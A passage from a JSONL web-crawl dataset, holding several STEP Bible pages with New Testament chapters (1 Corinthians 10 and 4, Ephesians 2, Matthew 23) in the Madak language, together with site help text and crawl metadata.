translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.11","date":"2018-10-20T11:09:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512693.40\/warc\/CC-MAIN-20181020101001-20181020122501-00343.warc.gz","language":"mmx","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999969005584717}","num_words":1268,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.248,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aPas 32:6\n1 Corinthians 10\nLavapaase Aronga Ri Leveloklok Kakapmek1 Luvutnetak mi luvurinuk. A vara i do mina doma su at levempanga ga vot saparap lavalabat atdik gano migomgo, at levenmaares diga mumu asu ne Moses. Diga nemen maxopok at loklok tatao at ne Moroa, ni gam gomgo ridi at loxontakabu, la diga vas polo tubu at loxontas, laasen teren Laras Memele. 2 Keneng at loxontakabu la keneng ap mo loxontas, i lok ngan ta diga lok ka lesep susu atdi ngan loklok katling at lixitkis etangas atdi mi ne Moses. 3 Nedi axap diga anan at levempanga anan at ne Moroa, 4 la diga inin at legesa dan, ne Moroa ga raba di min at langas petpes. Diga inin at ladan boro ap mo luat na roonan mo ga emu midi; la mo luat neni ne Iesu Karisito. 5 Ne Moroa ga nemen eburu midi ketla buaang atdi diga lox amusax i, kuren la diga remet eteke mene ro at lengkot axap at lamatbin.\n6 Na axap levempanga ni lampoovo ridik, ti lox aronga dik do nemen gat dik guta vavara solo ri levempanga xakapmek, i ngan limixin me Israel diga lox i. 7 Nemen gat mita lotu saparap lempatpoovo moroa i ngan leventaba atnedi digak lok kuren. I lok ngan levelinga at Lovoang Kaala i tong i do,\n\"Limixin digat pot buru ri leveluxa la melemu diga tii mi leventinii xapmek la diga pubeles at laxapmek.\" a\n8 Nemen gat dik guta lok laxakapmek maxamang at lixitkis epot ngan buaang atnedi diga mumu asu i xuren; la keneng at leges aleng, ga legepu sangaun mi lavantun larabin sangsangaun kobot (23,000) nedi limixin diga uu. 9 Nemen gat dik guta lok tong pen Leeme Silok ne Moroa i ngan leventaba atnedi diga lox i, la laxasii gap sev amet di. 10 Nemen mita paase ngunungun amisik ti ne Moroa i ngan leventaba atdi limixin me Israel digak lox i, la ne Moroa ga riki laangelo sepsep teren la ga sev amet di.\n11 Anai levempanga ga vot saparap di i ngan lampoovo ridik ik lok at Lovoang Kaala, la i lok ngan levempapaase aronga ri nedik na, ta nemen ta at levenaleng i auret ti laxavaxap at na lavatbung menemen.\n12 Dola nege go i doxoma i do lunuunu ren mo i tu lolos at lemeren ne Moroa, i lox avukat do ni na lok tatao nunuan i kusu neni noxo subu kot. 13 Leveloklok tong pen axap it pot saparap nimi, ni i lok ngan mun mo leveloklok tong pen it pot saparap limixin axap. La ne Moroa i ruturun; la ni noxo ke xepe nimi ri loklok tong pen, nemi xopmen mina epovo xusu miba xip tutu min. Se at nom laaleng do loklok tong pen na vot saparap nimi, neni naba lox alolos nimi xusu minaba tu lolos la minaba vas su basinge mo loklok tong pen kusu mi noxo subu.\nNemen Mitat Pas Ti Levenanan At Laxampoovo Moroa14 Kuren la, luvutnetak mi luvurinuk, mina ru asepsu basinge levelaplavang ti laxampoovo moroa. 15 A paase rinimi i ngan luvuttadi akleklen; nemi xa mina ila avukat at na levelinga rak. 16 At leluxa at Leeme Silok nedik di tong loklox avukat ti ne Moroa mumu lakap orong i ngan lada at ne Karisito; la nedik di inin teren, i ngan ta do dik ta lok katling luruburu atdik maxeneng at ne Karisito. La do dik di anan at lakde, i ngan labantuxu at ne Karisito naba lox asuusu i do dik ta lok katling luruburu atdik maxeneng at ne Karisito. 17 Leges akde mene nedik ta anan teren, kuren la nedik ta lok ngan legesa bungmixin, keke i do nedik di buaang.\n18 Mina doma mumu limixin me Israel, mo limixin digak lok ka lempanga anan atdi riplavang ti ne Moroa, la kerepmo diga xis esogo min. 19 Kereva, mo lovoovo moroa neni lomoroa ruturun? Kopla leveluxa limixin diplavang min ti lovoovo moroa ni laramtaba ruturun? 20 Kopmen tinotno! A tong i rinimi do lavamolon diplavang ti laxan moroa xaxarang, i lok ngan diplavang ti lubunggas la xopmen ti ne Moroa, la a xopara i do mina lox esogo mi lubunggas. 21 La kerepmo ixo epovo do mina inin at lakap at Leeme Silok, la at lakap bok at lubunggas. La kopmen tinotno na epovo do mina anan at leveluxa at Leeme Silok la minam tebeng alis bok loklok at lotu saparap lubunggas. 22 Do nemi mina mu asu i na, nemi minaba lox amusak ne Moroa. La mikleklen i do, kopmen mina lolos ngan ne Moroa.\n23 I epovo do dik ata lok levempanga axap, ketla kopmen levempanga axap i lox avukat. I epovo do dik ata lok levempanga axap, ketla kopmen nom levempanga axap naba lok tooro dik kusu atabaklen avukat ne Moroa la ata mumu asu leventaangas teren. 24 Ixo lox avukat do tara na lok tavanga xusu naba epovo xusuk mun at lixitkis teren, ketla neni na rebeng kaka leveloklok nunuan kusu na lok tooro leventaba vetpes.\n25 I epovo do mina anan leveluxa lomlomon di sesep min to at levengkot etang la nemen mita doma mumu solo i do digaplavang pam min ti laxampoovo moroa, 26 mila Lovoang Kaala i tong i do, \"Lavatkangka axap mi levempanga axap di nemen keneng teren, nom axav i at ne Moroa.\"\n27 Mo do luvuttadi xopmen dina nuunu, la dina povot tinimi uto at larapeluxa atnedi, la mi doxoma i do minat pas, i lox avukat do mina anan levempanga anan axap di raba nimi min, la nemen mita doma mumu solo i do digaplavang pam min ti laxampoovo moroa. 28 Ketla do tara vetpes na lok tinimi xeretna, \"Anai leveluxa digaplavang min ti laxampoovo moroa.\" Nemen gat mita an at nom leveluxa; i lox avukat do mina ronga res teren kusu mi noxo lok kapmek lodoxoma at nom laradi i tong i na rinimi. 29 Do mina anan mo leveluxa, noxo lok kapmek lodoxoma atnimi, ketla ap mo mun laradi vetpes.\nKetla tara ba lok keretna, \"Kopmen nak mokso do lodoxoma at tara vetpes na lok pe ia xusu nia a noxo anan mo leveluxa. 30 La mo do ana tong loklox avukat ti ne Moroa ri mo leveluxa, ixo epovo do tara vetpes na mi abulubun taba ia min, atla nia ara tong avukat pam min ti ne Moroa.\"\n31 I lox avukat mene, ketla levempanga salai do mi lox i, mina anan kopla mina inin, mina lox i xusu ri lox asu lisisixam at ne Moroa. 32 La mina rooro mi luruptuvuk nunuan kusu limixin me Judaia la limixin kopmen me Judaia la limixin nuunu di noxo sak kikixin at lunuunu atdi. 33 Minak lok levempanga i ngan nia ak lox i. A lok tong pen i do ana lox amomo limixin axap at levempanga nenia ak lox i. Nia xopmen ana lolos kusu ri lok lempanga ria, ketla a doma mumu loklok tooro ri limixin axap kusu di naba lok kaka lorooro avolo.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.10","date":"2018-10-15T18:50:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509690.35\/warc\/CC-MAIN-20181015184452-20181015205952-00469.warc.gz","language":"mmx","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000033378601074}","num_words":1290,"character_repetition_ratio":0.056,"word_repetition_ratio":0.012,"special_characters_ratio":0.22,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 2\nLorooro Maxat Maxeneng At Ne Karisito1 Ganoxa nemi miga lok ngan laxampanga met mene, mumu laxakapmek, 2 mo ga umsu at lorooro atnimi ap mo levenaleng miga mumu asu leveloklok at na lavatkangka la levelinga at laradi gomgo, ne Satan, ik lok to vana at lamavangkap, la na loroonan kapmek i gugu keneng at limixin tongtonga xepe. 3 Nedik axap taga nemen kuren, taga lok lempanga kusu ri lox amomo mun lodoxoma la labantuxu atdik, mo ga umsu mi lavavara kapmek at lorooro maut. La nedik taga nemen maxopok at lebelemamao at ne Moroa kerekngan nedi. 4 Ketla ne Moroa i umsu mi lebelemumu, ga lox asu langsangan labalamu ren tidik, 5 la ga lox arooro nedik mumu laxakatu kaxat amlong at ne Karisito, keke i do nedik taga lok ngan laxampanga met la taga umsu mi laxakapmek. Neni ga lox arooro nedik keneng mun at letaba nabalamu ren. 6 I lok ngan ta do ne Moroa ga lox axatu amlong dik eburu mi ne Karisito la ga lox axis dik eburu min to vana at laxalibet; na i ravasu boro at lugugu at ne Iesu Karisito. 7 Neni ga lox i na xusu at levenaleng i tu melamgo, neni naba lox asuusu i do letaba nabalamu ren i nunuan axap, mo letaba nabalamu ga ravasu at labalamu ren tidik maxeneng at lugugu at ne Iesu Karisito. 8 Moroa ga lox arooro nedik maxeneng at letaba nabalamu ren, mo letaba nabalamu ik lok tinedi di nuunu at ne Iesu Karisito. Limixin kopmen dina epovo kusu dina lox arooro nedi xa; ketla mo letaba nabalamu, ni laramtaba boro at ne Moroa. 9 Kopmen tara i epovo na lok kaka loklox arooro mumu leven gugu nunuan teren, mila mo do xuren, limixin diba simi aurut di. 10 Nedik ta lok ngan loogu ne Moroa ga vaxaru i, mila neni ga rudum li nedik at lekngen ne Iesu Karisito, kusu nedik taba lok leven gugu nunuan, mo ne Moroa ga gagas li avot pam i xusu dik taba lox i.\nNedik Ta Lok Ngan Legesara Eburu Mi Ne Iesu11 Nemi limixin kopmen me Judaia; leme Judaia di so asen nimi do 'limixin kopmen toloklok katling.' Nedi di vit kepe lengkontuxu atdi i ngan loklok katling at ne Moroa. 12 Nemen mita domampe i do miga lok kereva ganoxa. Ap mo levenaleng nemi goxoklen ne Karisito. Nemi miga lok ngan limixin kadiong ti leme Judaia la goxopmen tenep atnimi keneng at levenekabus no ne Moroa ga lox i eburu mi limixin teren. La goxopmen todoxoma voovo rinotno atnemi, la at na lavatbung menemen mi goxoklen ne Moroa. 13 Miga nemen paxalom basinge i, ketla na nga, keneng at lada at ne Iesu Karisito, Moroa ga lox axis bus nimi eburu min.\n14 Iesu, neni lavasuun at lumulum atdik la ga lox axis eburu leme Judaia la limixin kopmen di me Judaia. Ni ga das asi laxapla no gak lox epeseves di la neni ga lok kepe lekarakat kantubu atdi. ▼\n▼ Lavasuun at na i do avot ti lovotpot at ne Karisito, limixin me Judaia mi limixin kopmen di me Judaia di goxo etangas eburu.15 At lanmet teren neni ga sep korop kepe loklok ti mumu asu Lenavolo at leme Judaia eburu mi levelinga lolos la leventaangas teren. Ni ga vara i do na lok kaka nom luabung mixin la na lok legesa bungmixin tin; la na langas mun naba lok kaxat lumulum. 16 At lanmet teren ni ga lok lumulum kantubu atdi; la at nom laxaba ni ga lox etang nom legepu bungmixin ngan legesa bantuxu la ga lam ka di kusu dina xis etaba belen. 17 Karisito ga rupot la ga vavang mi Lagale Lavavang mumu lumulum tinemi limixin kopmen me Judaia miga nemen paxalom basinge ne Moroa la tinedi leme Judaia diga nemen saparav i. 18 Maxeneng at ne Iesu nema leme Judaia eburu minemi limixin kopmen me Judaia dik ta epovo na vot pasa ne Temen dik mi legesa doxoma la legesa Roonan Kaala.\n19 Kuren la nemi limixin kopmen me Judaia kopmen mina lok ngan bok ba limixin kadiong. Nemi lavaanat at Linintoo ren eburu mi limixin teren la i lok ngan ta do mi nemen at loogu at ne Moroa. 20 Nom loogu luvuttadi vavang mi lavaeme vapaase alii diga vaxaru i, la keneng ap mo loogu, ne Iesu Karisito ni luat kis teren. 21 La mo loogu it kis atmatkun pana ren la neni i lox asilox i la i vee ngan loogu xaala ri Leeme Silok ne Moroa. 22 La ne Karisito i lox abeles bok nimi kusu miba lok ngan lengkot ap mo loogu, la Loroonan Kaala at ne Moroa i nemen pam e.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Eph.2","date":"2018-10-19T19:27:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512434.71\/warc\/CC-MAIN-20181019191802-20181019213302-00270.warc.gz","language":"mmx","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999871253967285}","num_words":922,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 23\nIesu Ga Paase Asi Limixin Silok\n(Mk 12:38-39; Lu 11:43,46; 20:45-46)1 Melemu ne Iesu ga vaase ri limixin eburu mi luvuttadi loklok ka anasa ren. Ni ga lok keretna, 2 \"Luvuttadi loklox ase at Lenavolo la lubung Parisi di ruuna lixitkis silok ngan ne Moses, mo gam gomgo ri leme Israel. 3 Kuren la mina ronga res axap at lempanga di tong i rinimi la mina mumu asu rinotno i; ketla nemen gat mita mu asu luruptuvuk atdi, mila dixok lok lempanga nedi di vavang min. 4 Dim taba limixin mi laxantaangas solo, i lok ngan di koxo li lara aknixip doxodok at limixin, la i mumuat aleng kusu dinap kiv i, ketla nedi xa kopmen dinak lok tooro limixin kusu rip kip mo levenaknixip.\n5 Lempanga axap dik lox i xusu limixin diba reven di la dina emi asu midi. Lavasuun mun at nai dik lok lengkonbokis lixilik tik lok li levelinga at ne Moroa ro xeneng teren; la mo lengkonbokis i silok ti mo lengkonbokis at limixin. La ding siga levempanga singsiga ri loxonaleng singising la dik lox asuusu i do di baalom aleng kusu dina lox ase limixin do nedi limixin tuturun. 6 Di vavara aleng lengkot kitkis nunuan to at lara peluxa; la dik lok ka lengkot avukat tit kis to xeneng at laraugu singising. 7 La di vavara aleng box i do limixin dibak lok ngangao atdi ro at lengkot etang, la dinap kup tidi do 'Rabai.\"\n8 La ne Iesu ga lok bok tidi, \"Ixo lox avukat do tara na soxot nimi do Rabai, mila mi ruuna leges 'Eme Silok' la nemi mina epovo ngan mun loxoeton. 9 La nemen gat nimi guta tong tara at na lavatbung menemen do ne Temen nimi, mila legesara mun neni ne Temen nimi mo ik lok to vana at laxalibet. 10 La nemen gat limixin dina so asen nimi do 'luvuttadi amgomgo' mila legesa radi gomgo atnimi la neni Lanarong. 11 Neni do i silok kantubu atnimi neni na ngan mun lasaxaruki atnimi. 12 La do nege i lox asilox i, ne Moroa naba lox alixilix i; la nege do i lox alixilix i, ne Moroa naba lox asilox i.\"\nIesu Ga Vaase Sok Luvuttadi Amgomgo\n(Mk 12:40; Lu 11:39-42,44,52; 20:47)13 Naba lok kapmek aleng tinimi, luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala. Mik soxoba pe lumusaragu ri Linintoo no vana at laxalibet kusu limixin kopmen dina epovo dina beles teren. Ketla nemi xa xopmen minoxo beles teren la mi tu pe mo lumusaragu ri limixin dik lok tong i xusu dina beles. 14 [Naba lok kapmek aleng tinimi, luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala. Mip kip pilo lempanga at lempatnaa sioxo rixin, la melemu at na mik lok levesingising to melamgo at limixin kusu rik lox ase di do loklok atnimi i nunuan axap. Kuren la ne Moroa naba lok li lumumuat silok atnimi.]\n15 Naba lok kapmek aleng tinemi luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala. Mit pas tangtagap at laxangka la miang kan bok at laras kusu minak lok ka tara xusu ni na ruuna ka lunuunu kerekngan lunuunu atnimi; la do tara ira ruuna ka vam mo lunuunu, mi gagas li i xusu neni naba epovo rinotno kusu nat pas epopolo uto at lemenemen songsongot.\n16 Naba lok kapmek aleng mun tinimi, mila nemi limixin lengkatli atnimi i main la nemi xa xopmen mina epovo kusu mina lok tooro limixin. Mi tong i do lavangpangpe at tara i ngan lavanga gamasa, mo do i vangpe mi loogu laplavang; ket do ni i vangpe mi logol i nemen keneng at loogu laplavang, nemi miba doxoma atmatkun mo laxakaape ren. 17 Nemi luvuttadi rangtangku la lengkatli at labaroonan atnimi i main. Loogu laplavang neni i lox axaala mo logol; la loogu laplavang i silok ti logol; la i xaala aleng, kopmen logol. 18 Mi tong box i do lavangpangpe at tara ni lavanga gamasa mun, mo do i vangpe mi loxonin laplavang to at loogu laplavang; ket do ni na vangpe mavana at leventamtaba mo ik lok pana at nom loxonin laplavang, nemi mi lox amuat mo lavangpangpe ren. 19 Nemi laxangkatli main. Loxonin laplavang i silok ti mo leventamtaba la i lox axaala mo leventamtaba. 20 Kuren la do tara na vangpe mi loxonin laplavang, neni i lok lavangpangpe min eburu mi leventamtaba mo ik lok teren; 21 la do i vangpe mi loogu laplavang, neni i vangpe min eburu mi ne Moroa mo ik lok keneng teren; 22 la do i vangpe mi laxalibet, neni i vangpe mi loxonin orong at ne Moroa eburu mi ne Moroa mo it kis teren.\n23 Naba lok kapmek aleng tinimi luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala! Mim taba ne Moroa mi loxot i sev asangaun ap mo levempanga ik lok at laraamang, ketla mixo mumu asu leveloklok silok at Lenavolo, i ngan loklok mokmokso, lebelemumu, loklok nunuan ti lentaba vetpes, la loklok tuturun ti lentaba vetpes. Na leveloklok i epovo do mina lox asuusu i eburu mi mo loklok ti raba ne Moroa mi loxot i sev asangaun. 24 Nemi laxangkatli main. Mi mumu asu lengkot at Lenavolo kopmen na mumuat, ketla mixo mumu asu solo mo leveloklok i mumuat. I ngan ta do mi lox asu levenulang kakalik basinge lengkadan vaen atnimi la mi ke lavatkamel nak lok teren.\n25 Naba lok kapmek aleng tinimi luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi! Nemi lavapen aala. Mi sogos anunuan i no ma xamang at leveng kap la leventingtigon, ketla no ma xeneng i umsu aleng mi loklok ti sak paxat ka panga la loklok ti belegaao. 26 Nemi lubung Parisi. Nemi lengkatli main. Mina gos anunuan avot be i no ma xeneng at lakap, la melemu no ma xamang ba lok nunuan ba.\n27 Naba lok kapmek aleng tinimi luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala. Mi ven ngan tinotno lempat maaut diga mo anbun i, i ven avukat to ma xamang, ketla no ma xeneng i umsu mi laxasi tongan la laxanorang. 28 Kuren la nemi bok mi lok ngan i nom, ma xamang atnimi, limixin di ven nimi ngan luvuttadi mokmokso la mi mumu asu Lenavolo, ketla ma xeneng at lebelen nimi mi umsu mi loklok at lavapen aala la loklok kakapmek aleng tino bok.\n29 Naba lok kapmek aleng tinimi luvuttadi loklox ase at Lenavolo eburu minemi lubung Parisi. Nemi lavapen aala. Mira vaxaru ka vam levenmaaut avukat ti lavaeme vapaase alii; la mi sisinang avukat levenmaaut at limixin mokmokso; 30 la mi lok keretna, 'Mo do nedik gita nemen ap mo levenaleng lavalabat atdik diga rooro ren, nedik gitoxo sev amet lavaeme vapaase alii.' 31 La kerepmo mi tong asu i do nemi livipisik li ap mo limixin sepsep tadi, diga sev amet lavaeme vapaase alii. 32 Nemi bok limixin sepsep tadi, mi epovo do mina lox epasum na laxakapmek ti laxakapmek atnedi.\n33 Nemi laxasii xapmek. Nemi laxamdak at lempasii. Ixo epovo do mina sixiro basinge lebelemamao at ne Moroa mo naba riki nimi uto at lemenemen songsongot. 34 Kuren la aba riki lavaeme vapaase alii eburu mi luvuttadi leklen la luvuttadi loklox ase saparap nimi. Lentaba atdi miba vaxarem di at larakaba la mibap sev amet di. La lentaba atdi mibak pixis di ro xeneng at laraugu singising la miba xala su mi lentaba atdi basinge levenmenemen atdi la uto at levenmenemen petpes. 35 Kuren la minaba xip tutu mi lanmet at limixin mokmokso at na lavatbung menemen, ga ru ka i mi lanmet at ne Abel ga se at lanmet at ne Sakaria, nitna ne Berakaia, mo lavalabat atnimi diga sev amer i ro xantubu at loogu laplavang la loxonin laplavang. 36 Nia a tong tuturun i dola na loola di rooro lingina dinaba xip tutu mi na laxakapmek axap atnedi luvuttadi sepsep tadi.\"\nIesu Ga Tong Asu Labalamu Ren Ti Limixin Me Israel\n(Lu 13:34-35)37 La ne Iesu ga bulu aleng la ga lok, \"Nemi limixin me Jerusalem. Lavalabat atnimi digap sev amet lavaeme vapaase alii at ne Moroa la diga lu amet nedi ne Moroa ga riki di. Buaang levenaleng a lok do ana kok nimi mi lukngak, i ngan lavatpalak kaxak i kok laxan natnat kaxak teren, ketla mixo siam ka ia. 38 I ruturun. Monga Moroa i lox axap loklok tatao ren tinimi. 39 A tong tuturun i rinimi do mi noxo ven bok ba ia, se at nom laaleng naba vot la miba lok keretna,\n'Luvukat ti mo laradi it pas mi laasen at Leeme Silok.\" a\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Mat.23","date":"2018-10-15T23:48:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509958.44\/warc\/CC-MAIN-20181015225726-20181016011226-00354.warc.gz","language":"mmx","language_score":0.9999965429,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999996542930603}","num_words":1563,"character_repetition_ratio":0.079,"word_repetition_ratio":0.035,"special_characters_ratio":0.221,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 4\nLeven Gugu At Luvuttadi Vavang1 Kuren la mina doxoma mumu nema luvuttadi vavang, ma lok ngan lavasaxaruki at ne Iesu Karisito, la nema mak lok tatao losoxovo at ne Moroa mo ga nemen alipe, kusu mana paase axasep limixin min. 2 Lara lavanga i silok aleng ti laradi loklok tatao at levelinga at ne Moroa i lok keretna; neni na lok amisik lugugu ruturun ti laradi gomgo ren. 3 Nenia, axo doxoma solo i do nemi kopla limixin at na lavatbung menemen mina ila mumu ia, atla nia axo ila mumu lorooro rak. 4 Nenia axa aklen i do kopmen taxakapmek i nemen at lorooro rak, ketla anai xopmen na lox asuusu i do nenia laradi sep mus at ne Moroa; ketla Leeme Silok naba viila mumu lugugu rak. 5 Kuren la nemen mita ila mumu avot tara ri mo laaleng do naba vot. Laaleng ti ila mumu loklok at limixin noxo vot se Leeme Silok nabamlong; la neni naba lok li lempanga mo nga ik lok at lamain bonot ti laxasep, la naba lox asaxaven levendoxoma i nemen alipe ro xeneng at lorooro at limixin. Ap mo laaleng Moroa naba lox asuusu leemi asu ri limixin.\n6 Luvutnetak mi luvurinuk. Ara vaase poovo vam minema' mi ne Apolos, i ngan nema' luampoovo ri nom axav i levelinga nenia a malagan i. La maxeneng at nom i, minaba xasep ap mo levelinga i lok keretna, 'Mina ila mumu avukat levelinga at luvuttadi amgomgo, kerekngan Lovoang Kaala i tong i.' La kerepmo mi noxo xip aurut taasen at tara taradi gomgo atnimi la mi noxo lox asi taradi gomgo vetpes. 7 Kopmen tara ga lok li nimi xusu mina silok ti mo lentaba vetpes. Moroa ga raba nimi mi nom lempanga axap mi ruuna i. Kuren la nemen mita xip aurut levenasen atnimi min, mila nom lempanga mi ruuna i ne Moroa ga raba nimi min.\nPol Ga Paase Axalat Ti Limixin Me Korin8 Kereva, mi doxoma i do mira mukun pam at lorooro atnimi at ne Iesu Karisito? La kerepmo mira doxoma i do nemi mi lok kaka vam leveloklox anarong axap. La mira doxoma i do mi silok ngan lavaorong silok, la mi silok tinema luvuttadi vavang. Do nemi mina silok kerepmo, nenia a doma i do naba lox avukat tinotno, atla nema bok mabat kis eburu minimi ngan lavaorong silok. Ketla nema xopmen mana silok kerepmo, 9 mila nia a doma i do ne Moroa ira lok li vam nama, luvuttadi vavang, kusu mana ruuna levenasen gamasa at lemeren limixin. Ma lok ngan laradi xokoxo, luvuttadi amgomgo di sev amer i ro at lemeren limixin axap at na lavatbung menemen la melamgo at lubung angelo. 10 Limixin at na lavatbung menemen di tong i do nema luvuttadi baulang mun, mila ma gugu at laasen at ne Iesu. Ketla nemi mi lok do mi nemen avukat keneng at ne Iesu. Limixin at na lavatbung menemen di lok do nema luvuttadi gamasa la nemi mi doma i do nemi limixin silok at lorooro at ne Iesu. Limixin at na lavatbung menemen dik lox abulubun nama, ketla dik lok ngangao atnimi. 11 At na laxanaleng, nema luvuttadi vavang, maga roxo la maga minu; maga etara lenbantamon tekoxorop; la kopmen nom mene i, limixin digap sep bok nama la goxopmen temenemen aulis atnama rik lok mamas teren; 12 la maga gugu lolos kusu mana lok kaka levempanga ri lok tooro lixitkis atnema. Diga vaase xakapmek tinama, ketla maga sing ne Moroa xusu na lox anarong nedi. Diga lox asongot nema, ketla maga momo ri xip tutu min. 13 Diga vaase xapmek tinema, ketla maga vorang mun i mi levelinga nunuan. Nema ma lok ngan mun luvuttadi baava; la nema ma lok ngan ta laxanbibiong dip kupku xepe i at na lavatbung menemen ise at na levenaleng.\n14 A malagan i na levelinga rinimi, kopmen do ri lox amangan nimi; a malagan i xusu ri vaase aronga nimi; nia a balamu nimi ngan nemi luvutnuruk tinotno. 15 Keke i do mi ruuna buaang luvuttadi loklok tatao, ketla mi ruuna mun legesara ngan ne temen nimi. At lorooro atnimi at ne Iesu Karisito, nenia a lok ngan ne temen nimi, atla nia aga vavang tinemi mi Lagale Lavavang. 16 Kuren la a sing lolos nemi do mina mumu asu loklok tarak. 17 Lavasuun mun at nai la nia ara riki aonon pam ne Timoti udom saparap nimi. Neni ne nuruk tinotno at laasen at Leeme Silok, la a balamu i. Neni laradi ruturun at lorooro ren keneng at Leeme Silok. Neni naba vaase axasep manga nimi mi loklok tarak keneng at lorooro at ne Iesu Karisito. La loklox ase ren i epovo mi loklox ase rak kerekngan aga lox ase limixin min at laraugu lotu at lengkot axap.\n18 Lentaba atnimi mo di doma i do nedi di silok aleng, la di doxoma i do nenia noxo vot pasa bok ba nimi xusu ri vaase sok di. 19 Mo do Leeme Silok na vara i, anaba vot pasa soso nimi xusu nia anaba xasep at lempanga salai luvuttadi loklox asilok di tong i, la nia anabaklen i do di ruuna ruturun pam lololos at Leeme Silok. 20 Nia anaba ven kibis di mila lanat at Linintoo at ne Moroa i ruuna lololos at ne Moroa maxeneng at lorooro ren, la xopmen lavapaase gamasa mun. 21 Kereva, mira lox akmokso vam lorooro atnimi? Do xopmen, nenia aba vot mi laadas. Do mina ronga res tarak, nenia aba vot mi labalamu la loklox atnaasan.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and 